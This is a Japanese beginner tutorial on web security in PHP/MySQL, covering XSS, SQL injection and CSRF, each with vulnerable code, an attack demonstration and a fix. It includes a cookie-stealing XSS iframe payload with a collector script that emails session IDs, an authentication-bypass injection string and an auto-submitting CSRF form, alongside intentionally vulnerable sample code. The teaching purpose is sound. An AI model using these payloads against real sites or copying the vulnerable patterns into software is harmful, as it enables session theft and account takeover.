Edited at

これだけは知っておきたい、セキュリティのまとめ

More than 3 years have passed since last update.


概要

WEBアプリケーションのセキュリティで特に大事な、XSS、SQLインジェクション、CSRFについて具体例とその対策を概説する。


対象

PHPとMySQLの基本(とJacaScriptをほんの少し)は知っているけど、セキュリティについてはあまり知識が無い方。


目次


  • 1 XSS(クロスサイト・スクリプティング)

  • 2 SQLインジェクション

  • 3 CSRF(クロスサイト・リクエストフォージェリ)


1. XSS(クロスサイト・スクリプティング)


具体例: クッキー値が盗み出される


原理

以下のphpスクリプトは、ログイン中のユーザーが入力したキーワードをブラウザに出力するというもの。


GETメソッドでkeywordを受け取る

<?php

session_start();
// ログインチェック(詳細略)
?>
<body>
<?php
// 悪い例
echo $_GET['keyword'];
?>
</body>

ここで、キーワードに以下のようなJavaScriptを埋め込むと、


クッキーを表示する

<script>alert(document.cookie)</script>


クッキーにセットされたセッションIDがアラート表示される。


実際の手口

実際には、こうした脆弱なサイトの利用者を、罠サイトに誘導する。


inframeで脆弱なサイトを埋め込んだ罠サイト

<body>

<iframe width=400 height=200 src="http://localhost/security/keyword.php?keyword=<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>">
</iframe>
</body>

該当部分だけを取り出したのが以下。

src="http://localhost/security/keyword.php?

keyword=

<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>"

この部分では、


  • 攻撃対象のurl("keyword.php")を指定して

  • keywordに情報を送信するためのurl("mail.php")を指定して

  • パラメタ部分に先に説明した攻撃(document.cookie)を仕込んでおく

ことにより、以下の情報収集サイトに飛び、


情報を収集するサイト

<?php

mb_language('Japanese');
$sid = $_GET['sid'];
mb_send_mail('test@gmail.com', '攻撃成功', 'セッションID:', . $sid, 'From: test@trap.exmaple.com');
?>
<body>
<p>攻撃成功。</p>
<?php echo $sid; ?>
</body>

攻撃者のメールアドレス、

test@gmail.com

に、セッションIDが送られてしまう。


XSSの攻撃方法まとめ


  1. 罠サイトのinframe内で、脆弱なサイトが表示される

  2. 脆弱なサイトはXSS攻撃により、クッキー値をクエリ一文字につけて、情報収集ページに遷移する

  3. 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する


対策: エスケープ処理

エスケープ処理を行う。PHPの場合、htmlspecialcharsという関数があるので、これを用いる。

具体的には、


悪い例

<?php

echo $_GET['keyword'];
?>

この部分を、


良い例

<?php

// htmlspecialchar関数でエスケープ処理
$keyword = htmlspecialchars($_GET('keyword'), ENT_QUOTES, "UTF-8");

// $keywordを表示
echo $keyword;
?>


とする。

htmlspecialchars関数は「<」や「&」などの文字列を変換し、JacaScriptと認識されないようにする(エスケープ処理)。


余談

クロスサイトスクリプティングをCSSと書かないのは、スタイルシートのCSSと紛らわしいから。


2. SQLインジェクション


具体例: 認証を回避される

SQLインジェクションとは、SQLの呼び出し方に不備がある場合に発生する脆弱性である。

以下のphpスクリプトでは、正しいユーザーIDとパスワードを入力すると「ログイン成功」と表示される。


ログインするためのスクリプト

<?php

// sessions/new.phpから受け取る
$email = $_POST['email'];
$password = $_POST['password'];

//データベースに接続
try {
$dbh = new
PDO('mysql:host=127.0.0.1;dbname=security','your_db_user_name','your_db_password');
} catch (PDOException $e) {
var_dump($e->getMessage());
exit;
}

// 当該emailとpasswordのレコードを取得し変数$recに格納
// 悪い例
$stmt = $dbh->prepare("select * from users where email = '$email' and password = '$password'");
$stmt->execute();
$rec = $stmt->fetch(PDO::FETCH_ASSOC);

// データベースとの接続を終了
$dbh = null;

// レコードを取得できた場合には、"ログイン成功"と表示される
if($rec != false) {
$_SESSION['user_id'] = $rec['id'];
echo "ログイン成功";
} else {
echo "ログイン失敗";
}
?>


ここで問題となるのは以下のSQL文で、


当該メールアドレスとパスワードのユーザーを検索

select * from users where email = '$email' and password = '$password'


フォームのpasswordのところに、

' or 'a' = 'a

を入力すると(emailは'hoge@test.com'として)、


パスワードの条件が常に真となるSQL文

SELECT * FROM users WHERE email = 'hoge@test.com' and password = '' or 'a' = 'a'


となり、where句以下が常に真となってしまい、正しいパスワードを知らなくてもログイン出来てしまう。


対策: プレースホルダを使う

以下のように、変数を受け取る部分を「?」や「:password」(これをプレースホルダという)として、

SELECT * FROM users WHERE email = ? and password = ?

この部分に、以下のようにパラメータを渡す形式にする。


sessions/create.php

<?php

// 良い例 => プレースホルダを利用(名前付きプレースホルダの例)
$stmt = $dbh->prepare("select * from users where email = :email and password = :password");
$stmt->bindParam(":email",$email);
$stmt->bindParam(":password",$password);

// 実行
$stmt->execute();
$rec = $stmt->fetch(PDO::FETCH_ASSOC);
?>


これで先のようなリクエストが来ても、危険なSQL文が生成されることはない。


3. CSRF(クロスサイト・リクエストフォージェリ)


具体例: パスワードが変更されてしまう

以下のスクリプトは、ログイン中のユーザーが自分のパスワードを変更できる。


アカウント内容を編集する

<?php

session_start();
// ログイン処理(省略)
?>

<body>
<form action="update.php" method=POST >
新パスワード
<input name="new_password" type="password">
<input type="submit" value="パスワード変更">
</body>


新しいパスワードを入力すると、以下のファイルに飛び、


パスワードの更新

<?php

session_start();
// ログイン確認(省略)

$user_id = $_SESSION['user_id'];
$new_password = $_POST['new_password'];
// パスワード処理 ユーザー$idのパスワードを$pwdに変更する(省略)

echo "パスワードを変更しました。再度ログインしてください。";
?>


パスワードが変更されるものとする。

ここで、あるユーザーがパスワードを変更するための必要条件とは、


  • POSTメソッドでhoge.phpがリクエストされること

  • ログイン状態であること

  • POSTパラメータpwdとしてパスワードが指定されること

の3つ。そこで、以下の攻撃用サイトのphpスクリプトを見ると、


攻撃用サイト

<body onload="document.forms[0].submit()">

<form action="http://localhost/security/registrations/update.php" method="POST">
<input type="hidden" name="new_password" value="your_password_is_changed">
</form>

ログイン中のユーザーであれば、指定先のurlでアクションが行われ、そしてhiddenフォームで"your_password_is_changed"というパスワードが指定されているので、上記の条件を満たす。

つまりこの場合、攻撃用サイトにアクセスしただけで勝手に"your_password_is_changed"というパスワードに変更されてしまう。


対策: 秘密情報(トークン)の埋め込み

まず以下のように、


トークンを埋めた例

<?php

session_start();
// ログイン処理
?>

<body>
<form action="update.php" method=POST >
新パスワード
<input name="new_password" type="password">
<input type="hidden" name="token" value="<?php echo session_id(); ?>" >
<input type="submit" value="パスワード変更">
</body>


hiddenフォームでtokenを埋め込んでおき、これをlocate先のスクリプトで、


パスワードの更新

<?php

// tokenの確認
if (session_id() !== $_POST['token']) {
die('正規の画面からご使用ください');
}
?>

認証に失敗したら、「正規の画面からご使用ください。」と表示させる。


発展

解説した内容は、Railsを使っていると基本的に全て回避してくれる。

しかしそのような機能を「知らないうちに消していた」なんてことが無いよう、Railsがどのように回避しているのかは理解しておくと吉。

http://qiita.com/sutetotanuki/items/5eda6bbb5532dd64529a